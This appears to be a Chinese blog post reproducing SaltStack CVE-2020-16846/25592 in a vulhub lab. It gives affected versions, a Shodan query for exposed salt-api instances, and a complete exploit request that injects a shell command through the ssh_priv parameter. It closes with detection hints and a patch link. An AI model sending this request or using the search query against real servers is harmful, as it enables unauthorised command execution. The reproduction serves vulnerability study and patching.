CVE-2020-16846/25592 SaltStack未授权访问及命令执行漏洞复现
漏洞简述
SaltStack 是基于 Python 开发的一套C/S架构配置管理工具。2020年11月SaltStack官方披露了CVE-2020-16846和CVE-2020-25592两个漏洞,其中CVE-2020-25592允许任意用户调用SSH模块,CVE-2020-16846允许用户执行任意命令。
组合这两个漏洞,将可以使未授权的攻击者通过Salt API执行任意命令。salt-api虽不是默认开启配置,但绝大多数SaltStack用户会选择开启salt-api,故存在较高风险。
漏洞影响版本
SaltStack 2015/2016/2017/2018/2019/3000/3001/3002
Shodan 搜索语法
http.html:'{"return": "Welcome", "clients":'
漏洞环境搭建
使用vulhub进行复现。环境启动后,将会在本地监听如下端口。
- 4505/4506 这是SaltStack Master与minions通信的端口
- 8000 这是Salt的API端口,需要通过https访问
- 2222 这是容器内部的SSH服务器监听的端口
漏洞复现
向https://your-ip:8000/run
发送如下数据包。
POST /run HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/x-yaml DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 87 token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|touch%20/tmp/success%3b
通过ssh_priv
位置注入命令touch /tmp/success
,进入容器可见已执行成功。
溯源排查
没有日志。
exp中由于ssh_priv位置传参执行失败会生成部分command.pub的文件,可以作为排查的参考。
修复方式
目前厂商已发布升级补丁以修复漏洞,补丁获取链接: https://gitlab.com/saltstack/open/salt-patches/-/commit/a8b998ae07dbf752cbd6a1d1cdcdcc366bffb04e
赞赏微信赞赏支付宝赞赏
发表评论